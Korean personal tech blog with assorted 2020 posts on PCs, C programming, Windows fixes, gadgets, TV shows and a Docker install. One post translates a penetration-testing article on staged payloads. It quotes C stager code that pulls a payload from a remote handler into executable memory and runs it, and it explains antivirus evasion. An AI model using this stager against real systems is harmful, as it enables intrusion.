2020년 9월 23일 수요일

데스크톱 PC 구입, 딥러닝 실습

모 포털 사이트 데이터 분석 대회 수상자의 솔루션을 소개하는 책 교정을 맡아서 하고 있다. 솔루션의 코드가 그래픽 카드를 이용해 딥 러닝을 하는 것이라, 기존에 사용하던 노트북으로는 실행할 수 없어 데스크톱 PC를 새로 샀다.

조립 PC를 알아보고 직접 구성하는 데 시간과 노력을 들일 여력이 없어, 대기업에서 나온 윈도우까지 사전 설치된 제품을 선택했다. HP OMEN 30L 중 NVIDIA 2080ti가 들어간 것으로 했다. 이번 교정비보다 더 비싸다. 요즘 엔비디아에서 성능이 더 좋고 가격도 저렴한 신상품이 나오는 중이라 조금 더 기다릴 수 있으면 좋았겠지만 당장 테스트 결과를 내는 것이 중요했다. 

사실은 이번 달까지 보안 책 번역 끝내고 나면 게임용 PC를 사서 놀아야겠다고 생각하던 참이다.




2020년 7월 31일 금요일

edX C 프로그래밍 수강, 맥에서 gcc 사용을 위해 명령행 개발자 도구 설치

edX의 C  Programming with Linux Certificate 프로그램을 수강하고 있다. 7개 코스가 하나의 프로그램을 이루는 것으로, 유료로 수강해 수료하면 Professional Certificate를 준다. 동기 부여를 위해 유료로 수강 중이고, 현재 3개 코스를 마치고 네 번째를 듣고 있다.

전에도 edX에서 수업을 몇 가지 들었는데, 지나고 나면 기억이 희미해지는 것이 아쉬웠다. 그래서 이번에는 수업 내용을 위키독스에 영어로 배우는 C 프로그래밍이라는 이름으로 정리하고 있다.

이 수업은 PC에 컴파일러를 설치하지 않고 웹 브라우저에서 바로 해볼 수 있다.

포인터 연산 수업을 듣고 객관식 문제를 풀다가 같은 문제를 자꾸 틀려서 코드를 직접 작성해서 테스트해보니 예상과 다르게 나왔다. 혹시나 컴파일러가 달라지면 다르게 작동할까 싶어, 맥북에서 한 번 더 테스트해보았다.

코드:

% cat pointer.c
#include 

int main(void) {
    int numbers[] = {4, -1, 8, 3, 0, -11};
    printf("%d", numbers[10]);
    return 0;
}


gcc를 사용하기 위해 명령행 개발자 도구를 설치:

% xcode-select --install

컴파일:

% gcc pointer.c
pointer.c:5:18: warning: array index 10 is past the end of the array (which
      contains 6 elements) [-Warray-bounds]
    printf("%d", numbers[10]);
                 ^       ~~
pointer.c:4:5: note: array 'numbers' declared here
    int numbers[] = {4, -1, 8, 3, 0, -11};
    ^
1 warning generated.


실행:

% ./a.out
1860979913

실행 결과를 확인하니 아차 싶었다. C 언어를 옛날에도 배웠고 지금도 다시 배우고 있음에도, 특성을 정확히 이해하지 못한 부분을 이 문제가 잘 지적해주었다.

2020년 7월 15일 수요일

Windows 10 초기화

다른 사람이 쓰던 PC를 얻었는데 Windows 10 계정이 그대로 남아있고 패스워드는 몰라서 바로 사용할 수 없는 상태였다. 그래서 Windows를 재설치해야 하는데, Windows 7 이후로는 재설치 해본 적이 없어서 좀 헤맸다.

찾아보니 간단한 방법이 있었다.

로그인 화면에서 키보드의 Shift 키를 누른 채로,
- 전원 아이콘을 클릭한 다음,
- '다시 시작'을 선택하고, 
- "다시 시작하면 이 PC를 사용하던..." 메시지의 '다시 시작' 버튼을 누른다.

'옵션 선택' 화면에서 '문제 해결'을 선택하고 '이 PC 초기화'를 선택한다.

2020년 6월 30일 화요일

2020년 6월 13일 토요일

Windows 10 소리 재생 시 처음에 소리 안 나는 문제

전에는 못 느꼈는데, 요즘 Windows 10에서 영상이나 음악을 틀면 처음 2초 정도 소리가 안 나다가 소리가 나기 시작한다. 그렇다고 영상과 음성의 시간이 안 맞나 하면 그건 아니다. 유튜브 영상이야 앞에 조금 소리 안 난다고 큰 불편이 없는데, edx.org에서 강의를 들으려니 너무 불편했다.

그래서 해결책을 검색해봤더니, ①드라이버를 재설치하라든지 롤백하라는 류의 조언이 있긴 한데 썩 맘에 들지 않았다.

좀 더 찾다가 ②윈도우 레지스트리를 건드리는 방법을 찾았다.
  1. regedit 실행
  2. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\xxxx\yyyy\PowerSettings 검색
  3. ConservationIdleTime을 ff ff ff ff로,
    IdlePowerState를 00 00 00 00으로,
    PerformanceIdleTime을 ff ff ff ff로 변경

②번이 내 상황에 딱 맞는 것 같아 시도했다. 전원 관리를 위해 소리를 낼 일이 없을 때 장치를 쉬게 하는 것과 관련이 있고, 제조사 드라이버에서 적당한 값을 지정할 수 있게 윈도에서 제공하는 것이다. 만약 이 값을 조정해서 해결된다면, 내가 지금 쓰는 버전의 리얼텍 드라이버가 최적화가 덜 된 것으로 볼 수 있겠다. 드라이버 재설치나 롤백으로 해당 레지스트리가 적당한 값으로 바뀐다면 해결될 가능성도 있으므로 ①번도 틀린 건 아니다.

참고


- Windows 10 Sound Issue Fix - Sound Starts After 3 Seconds Delay - Realtek Sound driver lag Fix - FMS, https://www.youtube.com/watch?v=uxsE17PzrCc


2020년 6월 7일 일요일

commit의 뜻

전산쟁이인지라, 평소에 'commit'이라는 단어를 접하면 SQL 질의의 commit과 rollback이 먼저 떠오르고, 이런 쓰임새일 때 한글로는 '커밋'으로 옮긴다.

이번에 프리젠테이션 자료를 만들면서 가트너(Gartner) 자료를 인용했는데, 'I&O Maturity'라는 용어가 나왔다. 'I&O(인프라 및 운영) 성숙도'라고 옮기고 넘어갔는데, 며칠 후 문득 I&O 성숙도의 높고 낮음을 어떻게 판단하는지 궁금해졌다.

그래서 자료를 찾아 읽으면서 I&O 성숙도에 대해 이 글에 따로 정리했다. I&O 성숙도는 0부터 5까지 6단계로 나타낸다. 중간쯤 오는 Level 2는 'Committed'라는 단어로 나타내는데, 이걸 우리말로 어떻게 옮겨야 할지 애매했다. 영한 사전에는 '헌신적인', '열성적인'으로 나와있는데, 맥락에 딱 들어맞지 않는다. 영영사전의 해설을 보니 느낌이 약간 다르다.

1. placed in confinement
2. having made a pledge or commitment to someone (such as a romantic partner) or something (such as a cause)

좀 더 검색해보니 맥락에 따라 여러 가지로 옮길 수 있다.


I&O Maturity Level 2의 'Committed'는 '수용' 정도로 옮기는 것이 적당해 보인다.

2020년 5월 9일 토요일

mini DP cable

레노보 x230 노트북의 영상 출력 단자는 VGA 포트와 미니 디스플레이(mini DP)가 있다. 디스플레이 포트가 VGA 포트보다 더 높은 해상도를 지원하고 음성 출력도 되기 때문에 외장 모니터를 처음 살 때부터 해당 기능이 있는 것을 골랐는데, 수년 째 사용하면서 한 가지 불편을 반복적으로 겪게 됐다. mini DP - to - DP 케이블의 수명이 짧은 것이다. 화면이 가끔 깜빡거리는 것에서 시작해, 나중에는 화면이 아예 안 나온다. 처음 겪었을 땐 노트북이나 모니터에 이상이 있는 줄 알고 놀랐다가 케이블을 바꿔 해결되어 안도했지만, 문제는 한 번으로 그치지 않고 잊을 만하면 재발했다.

케이블을 사다 갈아끼는 것에 지쳐서 구닥다리 VGA 포트로 돌아갔다. 1년 반 전에 구입한 델 모니터는 다행히 VGA 포트를 없애지 않고 남겨 뒀다(VGA가 있는 걸 일부러 골라서 샀던 걸지도 모르겠다). 더 이상 케이블로 인한 불편을 겪지 않으리라 생각했는데, 현실은 그렇지 않았다. 얼마 전부터 화면에 노이즈가 끼기 시작했다. 처음에는 대수롭지 않은 정도였지만 시간이 갈 수록 더 심해졌다. 그래서 케이블을 또 바꿨다. 다시 mini DP로 돌아가되, 이번에는 5천원짜리가 아니라 배송비 포함 만원짜리를 샀다.

고작 모니터 케이블 때문에 불편을 겪다니, 1980년대 중반부터 컴퓨터를 다루면서 그런 일은 상상도 할 수 없었다. 30년이 지나서 왜 이런 일이 발생할까. 케이블을 얇게 만들어야 잘 팔려서? 무선 디스플레이가 되는 세상에는 쓸데없는 고민일지도 모른다.


2020년 4월 26일 일요일

스테이지된 페이로드

원문: https://blog.cobaltstrike.com/2013/06/28/staged-payloads-what-pen-testers-should-know/

스테이지된 페이로드(Staged Payloads) - 침투 테스터가 알아야 할 것

메타스플로잇 프레임워크는 익스플로잇과 페이로드(익스플로잇 성공 후 실행되는 것)를 디커플링한다. 또한 메타스플로잇 프레임워크는 스테이저(stager)와 스테이지(stage)의 두 부분으로 나뉜다. 스테이저는 큰 페이로드(스테이지)를 다운로드하고, 그것을 메모리에 주입하고, 실행을 전달한다.

그림. 페이로드 스테이징 과정

스테이징은 필요에 의해 생겨났다. 많은 익스플로잇 상황은 공격자가 얼마나 많은 바이트를 변경 없이 메모리의 한 위치에 로딩할 수 있는지에 제약을 받는다. 이러한 상황에서 흥미로운 포스트 익스플로잇을 하는 한 가지 방법은 페이로드를 여러 단계(스테이지)에 걸쳐 전달하는 것이다.

스테이저는 어셈블리 언어로 작성되어 수작업으로 최적화되는 것이 일반적이다. 공격자는 스테이저를 가능한 한 작게 만들려고 한다. 스테이저가 작으면 공격자는 많은 익스플로잇에 자유롭게 사용할 수 있다.

다음 코드는 C로 작성된 스테이저다. 버퍼를 할당하고, 스테이지를 다운로드하고, 그것에 제어를 전달한다. 나는 이 과정을 블로그에 설명했고, 전체 프로그램은 깃허브에 있다.

/* 핸들러에 연결 */
SOCKET my_socket = wsconnect(argv[1], atoi(argv[2]));
 
/* 4 바이트를 읽음 */
int count = recv(my_socket, (char *)&size, 4, 0);
if (count != 4 || size <= 0)
    punt(my_socket, "read a strange or incomplete length value\n");

/* RWX 버퍼를 할당 */
buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (buffer == NULL)
    punt(my_socket, "could not allocate buffer\n");


/* SOCKET 값을 EDI 레지스터에 옮기기 위해 어셈블리를 prepend
   BF 78 56 34 12     =>      mov edi, 0x12345678 */
buffer[0] = 0xBF;
 
/* 소켓의 값을 버퍼에 복사 */
memcpy(buffer + 1, &my_socket, 4);
 
/* 바이트를 버퍼에 읽음 */
count = recv_all(my_socket, buffer + 5, size);
 
/* 버퍼를 함수로 변환해 호출 */
function = (void (*)())buffer;
function();

스테이징은 몇 개의 스테이저를 가지고 다양한 페이로드를 전달할 수 있게 해준다. 내가 스테이저와 호환되는 코드를 갖고 있으면, 나는 스테이저가 지원하는 코드를 전달할 수 있다(크기가 관건이다). 이러한 유연성 덕분에 비콘(Beacon) 같은 페이로드를 메타스플로잇 프레임워크에 맞춰 수정하지 않아도 된다.

스테이저에 의존하면 안티 바이러스 회피도 쉬워진다. 윈도우 미터프리터는 700KB이고 코발트 스트라이크(Cobalt Strike)의 비콘은 120KB다. 크기에 대한 제약이 없다고 가정할 때, 만약 내가 원하는 페이로드 그대로를 전달하기 위해 공격 패키지를 만들면 안티 바이러스 공급자에게 더 많은 단서를 제공해 그들이 시그니처를 작성할 수 있게 된다. 스테이저를 사용해 페이로드를 전달하면 나는 스테이저에 집중할 수 있고 공격 패키지는 안티 바이러스에 잡히지 않을 것이다. 스테이저가 잡히지 않는다면 스테이지도 아마 안전할 것이다.

이론적으로 스테이지 코드는 크기와 위치에 독립적이다. 현실에서는 메타스플로잇 프레임워크와 함께 사용되는 스테이지는 C로 작성된 DLL이다. 이 DLL들은 스테픈 퓨어(Stephen Fewer)가 작성한 반사 DLL 주입 라이브러리(Reflective DLL Injection library)를 가지고 컴파일된다. 이 라이브러리는 메모리로부터 프로세스에 라이브러리를 로드할 수 있다. 동작 원리에 대해서는 스테픈 퓨어가 쓴 반사 DLL 주입 문서(Reflective DLL Injection paper)를 참조하라.

(후략)

2020년 4월 25일 토요일

iPad 1세대 파일 동기화

2010년에 출시된 아이패드 1세대를 아직도 쓰고 있다. 유튜브도 안 되고, 어지간한 웹 사이트나 심지어 앱 스토어를 보는 중에도 다운되기 일쑤다. 팟캐스트는 약간 불편하긴 해도 PC에서 에피소드를 먼저 다운로드한 다음 아이튠즈를 통해 동기화하면 들을 수 있다.

실용적으로 가장 잘 사용하고 있는 앱은 굿리더(GoodReader)다. 유료로 구입한 걸로 기억하는데, 버전 업그레이드를 한 번인가 하고 나서는 iOS 버전 제한 때문에 더 이상 올리지 못했다. 번역 원고를 검토할 때 태블릿에서 보면 좀 더 독자의 입장을 느낄 수 있어서 좋다.

지금까지 PC에 있는 PDF 파일을 아이패드에 넣는 방법을 여러 가지로 시도했다.

1. 아이튠즈에서 동기화 - 수정할 때마다 동기화시키는 것이 번거롭다. 케이블을 꽂았다 뺐다 하기도 귀찮고(WiFi 동기화 기능은 꺼놨다).

2. 클라우드에서 동기화 - 아이패드의 iOS 버전이 낮아서인지 굿리더 버전이 낮아서인지 모르겠지만 제대로 동작하지 않는다.

3. PC에 FTP 서버를 띄우고 굿리더의 FTP 기능을 사용해 동기화 - 그나마 괜찮은 방법이긴 한데, 파일을 수정할 때마다 ftproot 디렉터리에 파일을 옮기는 것도 귀찮고(문서 전체를 FTP에 올리는 건 내키지 않는다), FTP 연결이 끊겨서 다시 시도해야 잘 된다. FTP 서버 설정을 바꿔봤지만 해결 못했다.

4. SMB 사용 - 굿리더가 SMB도 지원한다는 걸 여태 모르고 있다가 오늘에야 발견했다. 내 여건에는 이게 가장 나은 방법인 것 같다.

2020년 4월 24일 금요일

UE Megaboom

UE 메가붐(Megaboom) 블루투스 스피커를 두 대 갖고 있다. 원래 야외 활동을 하거나 파티를 할 때 쓰라고 만들어진 물건이지만, 요즘은 집에서 노트북에 연결해 음악을 듣거나 넷플릭스를 볼 때 사용한다.

인터페이스

메가붐은 기본적으로 블루투스 스피커이지만 3.5mm 입력 단자도 있다. 스마트폰에서는 전용 앱을 다운로드해 여러 기능을 사용할 수 있지만 윈도우용 앱은 없다. 그렇지만 윈도우에서도 블루투스로 연결할 수 있고, 전용 앱 없이도 두 대를 연결하는 방법이 있어 그렇게 사용해 보기도 했다. 정작 문제는 블루투스 연결을 했을 때 영상과 음성의 시차가 있어 영화를 보거나 게임을 할 때 불편하다는 것이다. 그래서 결국 3.5mm 단자 출력을 좌우로 나눠주는 Y자 케이블을 사서 연결했다.

음색

저음이 강조된 편이라 음악이나 영화 감상에 큰 불편은 없지만 유튜브에서 중년 남성이 대화하는 것은 너무 웅웅거려서 듣기 불편하다. 그래서 유튜브는 휴대폰이나 맥북에서 틀거나, 팟캐스트를 아이패드로 옮겨서 듣는다(1세대 아이패드는 유튜브 재생이 안 된다). 혹은 음성 출력을 노트북 내장 스피커로 전환해서 재생하기도 한다.

스탠드

3.5mm 음성 입력과 마이크로 USB 단자가 스피커 아래쪽에 있다보니, 처음에는 책상에 거꾸로 세워서 사용했다. 그런데 스피커를 분해한 영상을 보니 스피커 유닛이 위쪽에 있어, 뒤집어 놓는 것보다는 바로 두는 것이 나을 것이라는 생각이 들었다. 그래서 카메라용 미니 삼각대를 달아서 세웠다. 나사 구멍과 단자들이 너무 가까이 있어 삼각대 부착 부분이 아주 좁은 것을 골랐더니, 스피커 무게를 잘 못 견디는 문제가 있다.

배터리 문제

잘 쓰던 중에 별안간 전원 상태 LED가 빨간색으로 바뀌며 배터리 충전이 안 됐다고 하는데, 어댑터에 꽂아둬도 돌아오지 않았다(윈도우에 등록된 장치에서 제거한 것과 관련이 있는 것으로 의심된다). 몇 년 써서 배터리 수명이 다 됐나 싶어 AS 센터도 알아보고 배터리를 자가 교체하는 방법배터리 파는 곳도 알아뒀는데, 다행히 공장 초기화를 하니 증상이 사라졌다.

2020년 4월 21일 화요일

JREPL

일을 편리하게 해주는 여러 가지 도구가 있지만, 그런 도구들을 잘 사용하려면 적든 많든 노력이 필요하게 마련이다. 때로는 그런 노력을 하는 것이 너무 부담스러울 때도 있어, 차라리 불편하게 일하는 쪽을 택하기도 한다.
내가 라즈베리 파이 문서 번역을 처음 시작할 때가 그랬던 것 같다. 그 전에 이미 여러 해 동안 번역을 하면서 이런저런 도구를 접해봐서 알고 있었음에도 불구하고, OmegaT도 사용하지 않고 git 클라이언트도 없이 깃허브 사이트에서 텍스트를 복사해서 위키독스 웹 인터페이스에 붙여넣고 무식하게 작업을 했던 것으로 기억한다. 일을 편하게 하자고 골치 아파지는 것이 싫었던 것 같다.

지금은 거의 손을 놓고 있지만, 몇 년이 지난 지금도 원본 문서는 계속 업데이트되고 있어 몇 달에 한 번 정도 들여다보곤 한다. 요즘 작업 방식은 이렇다.
1. GitHub Desktop을 사용해 문서 저장소를 pull(PC에 가져옴)
2. 원본 문서를 번역에 적합한 source 파일로 가공
3. OmegaT에서 번역
4. 번역이 완료된 target 파일을 복사해서 위키독스에 붙여넣기

2번 단계에서 하는 일은 이렇다.
a. 원본 문서의 계층 구조(디렉터리/.../파일명)를 위키독스의 구조(페이지 번호)에 맞게 변환
b. 변환된 계층 구조에 맞춰 문서 내의 하이퍼링크를 수정
원본과 번역본의 계층 구조가 다른 이유는 위키독스에서 페이지를 flat하게 부여하기 때문이다. 이 차이점을 근본적으로 해소하기 위해 다른 서비스로 이전해야 할 지 고민해봤지만, 번역을 거의 다 해놓고 유지보수하는 단계에서 굳이 그럴 필요는 없다고 결론을 내렸다.

문제는 2번 단계를 수작업으로 하다보니 너무 많은 노력이 들어가고, 인적 오류 발생 가능성이 상존한다는 것이었다. 그래서 얼마 전부터 그 부분을 자동화하기 시작했다. 자동화라고 해서 대단한 건 없고, 단순히 COPY 명령을 나열하는 수준으로도 a 작업을 할 수 있다. 그리고 b 작업은 본질적으로 문자열 치환을 하면 되는 것이라서 Windows batch 파일을 작성할 때 쓰이는 간단한 for 문을 사용해 처리했다.

그렇게 사용하다보니 몇 가지 가려운 부분이 생겨서 조금씩 수정을 하게 됐는데, batch 문법을 잘 몰라서 매번 애를 먹었다. Python을 사용할까 하는 생각도 해보고, 일부 과정을 Linux나 Mac 환경으로 옮겨서 하는 것도 생각해보고, cygwin도 생각해봤지만(참, Windows에서 bash가 된다고 했었지) 모두 마음에 들지 않았다. Windows 환경에서 native하게 할 수 있는 방법으로 처리하고 싶었다.

오늘은 PowerShell로 할 수 있는 방법을 찾아서 시도해봤는데 잘 안 됐다. 그 후에 방법을 계속 찾다보니, batch 문법만으로는 근본적인 한계가 있어 JREPL을 사용한다는 사람이 있었다. JREPL은 batch와 JScript가 섞인 하이브리드 스크립트로, 문자열 치환을 제대로 처리해준다. 스크립트 파일 하나만 갖다놓으면 사용할 수 있고, 내가 원하는 일을 모두 제대로 처리해줘서(그렇게까지 만드는 과정이 험난했지만) 아주 마음에 든다.

2020년 4월 16일 목요일

맨헌트: 유나바머

You can't have your cake and eat it, too. (두 마리 토끼를 한 번에 잡을 수 없다)

몇 달 전에 넷플릭스에서 <마인드헌터>를 재미있게 봤다. 1970년대에 수감된 연쇄살인범들을 찾아다니며 면담해 범죄자 프로파일링 분야를 개척한 FBI 수사관의 실화를 바탕으로 한 드라마다.

어제 본 <맨헌트: 유나바머>는 FBI 프로파일러의 실화를 다룬 점이나 전반적인 분위기가 마인드헌터와 비슷한데, 대학과 항공사 등에 폭탄 테러를 저질러 유나바머로 불린 테러범의 글을 분석해 검거하는 데 결정적인 공을 세운 수사관이 주인공이다. 테러는 장기간에 걸쳐 이뤄졌지만, 선언문이 공개되고 검거와 재판이 이뤄진 90년대 중후반이 드라마의 시간적 배경이다.

유나바머에 대해서는 교양수업에서 이름을 들어서 아는 정도였는데, 이번에 드라마를 통해 좀 더 알게 됐다. 그가 쓴 INDERSTRIAL SOCIETY AND ITS FUTURE는 워싱턴 포스트에 게재됐고, 지금도 웹사이트에서 볼 수 있다. <산업사회와 그 미래>라는 제목으로 번역되어 책으로도 나와 있다.

드라마에는 사람들이 이 글을 '선언문(manifesto)'으로 지칭하는 것에 대해 카진스키가 거부감을 가졌던 것으로 표현된다. 언어를 습관적으로 아무렇게나 쓰지 않고 단어 하나하나를 정확히 사용하려 노력하는 사람이었기 때문에, 범인을 프로파일링하는 과정에서 개인어(idiolect), 슬라브어 등 언어학적인 주제가 등장하는 것도 이 드라마가 흥미로왔던 이유다.

FBI 웹사이트의 유나바머 소개 페이지에 걸린 영상에 카진스키의 거처가 보이는데, 드라마에서 본 것과 너무나 흡사하다.

선언문의 한글 번역본을 일부 수정해 https://yong-it.blogspot.com/p/unabomber-society-and-its-future-1.html에 게시했다.

2020년 4월 15일 수요일

Apple Mobility Trends Report

COVID-19 확산을 저지하기 위해 사회적 거리두기가 이뤄지고 있다.

애플에서 사람들이 얼마나 돌아다니는지 알 수 있는 보고서 서비스를 내놨다. 국가 또는 도시별 그래프가 제공되고 CSV 파일을 받을 수도 있다.

한국


한국과 서울 데이터는 거의 비슷하다. 초기에 빨간 선이 며칠 높게 나온 것이 설날 연휴였던 것 같다. 대구 등 다른 지역의 그래프는 조회되지 않는다.

한국

서울

아시아

중국은 데이터가 없는 것 같다.

홍콩이 일찌감치 활동을 줄였다.

홍콩
 일본은 사태의 심각성을 전혀 몰랐던 것 같다. 날이 풀리면서 활동이 증가하다 뒤늦게 줄어든다.

일본

인도

아메리카

미국

뉴욕

아르헨티나


유럽


이태리

프랑스

모스크바

2020년 4월 2일 목요일

넷플릭스 화질

LG TV의 DNS 설정을 바꿨더니 넷플릭스 속도가 빨라지더라는 글을 보고 처음엔 그런가 했다가 이상한 생각이 들었다. IP를 한 번 찾고 나면 한동안 캐시되어 DNS를 이용할 필요가 없는데 왜 빨라진다는 걸까. 이 궁금증을 갖고 조사와 테스트를 해보다가 곁다리로 몇 가지 사실을 알게 됐다.

1. 재생 중인 영상의 화질을 확인하려면 Ctrl + Alt + Shift + d를 눌러, playing bitrate 항목을 확인한다.

2. 크롬은 넷플릭스의 HD 화질을 지원하지 않는다! 에지는 지원한다!

3. 모든 컨텐츠가 풀HD(1080p)로 재생 가능한 것은 아니다.
에지에서 테스트한 결과:
매트릭스, 브이 포 벤데타, 원스 어폰 어 타임 인 헐리우드 같은 영화는 모두 480p로 재생된다.
킹덤, 슬기로운 의사생활, 마인드 헌터가 1080p로 재생됐다. 나는 표준 요금제를 쓰고 있어 4K는 못 본다.

4. 원스 어폰 어 타임 인 헐리우드가 에지에서 480p, 크롬에서 540p라고 나온다. 그런데 내 눈에는 에지 쪽이 더 고화질로 보였다.

5. PrtScr을 눌러 화면 캡처를 하니 에지는 검게 나오고 크롬은 캡처가 된다.

6. DNS를 자동으로 설정해 KT DNS를 거치더라도 보는 데 전혀 문제가 없다.

역시 뭐든 직접 해보지 않으면 알 수가 없다.

2020년 3월 22일 일요일

바라밀다 = pāramitā = parameter

유튜브에서 최진석의 철학/종교 강의를 종종 듣는데, 불교의 '바라밀다'라는 용어가 '건너간다'는 뜻의 산스크리트어를 음역한 것이라고 한다. 로마자로 표기하면 pāramitā다.


이걸 들으니 혹시 IT 용어로 자주 쓰이는 'parameter'와 관계가 있지 않을까 하는 생각이 들었다. 아니나 다를까, Jiyu Ren 등이 쓰고 Michael R. Saso가 번역한 Buddhist Studies in the People's Republic of China: 1990 - 1991를 보니 육바라밀(Sat-paramita)이 six parameters로 풀이되어 있다.


좀 더 확신을 갖고자 검색을 해봤지만 한글이 들어간 결과는 많지 않다. 다른 영상의 댓글에 내 생각을 뒷받침해줄 이야기가 보인다.


추가:
(parameter의) 어원이 라틴어일 것이라고 페북에 댓글 달아주신 분이 있어 좀 더 찾아봤다.

위키피디아 영문판에서 parameter를 찾아보니 고대 그리스어의 para-(beside)와 metron(measure)에서 왔다고 한다.

또, Pāramitā는 두 가지 어원이 있다고 한다.
1. '가장 높은'이라는 뜻의 parama로부터 '완벽함'의 뜻으로 발전
2. '너머'라는 뜻의 pāra와 '도착한 것'이라는 뜻의 mita가 합쳐져 '저 너머에 도착한 것' 또는 '초월'의 뜻을 갖게 됨

한편, 산스크리트어가 라틴어와 같은 인도유럽어족에 속한다는 것도 알게 됐다.



2020년 3월 2일 월요일

칼리 리눅스 2020.1에 도커 설치

# 도커 APT 저장소 구성

curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -

echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' | sudo tee /etc/apt/sources.list.d/docker.list

# 도커 커뮤니티 에디션 설치

sudo apt-get update

sudo apt-get remove docker docker-engine docker.io

sudo apt-get install docker-ce

# 테스트

sudo systemctl status docker

docker -v

sudo docker run hello-world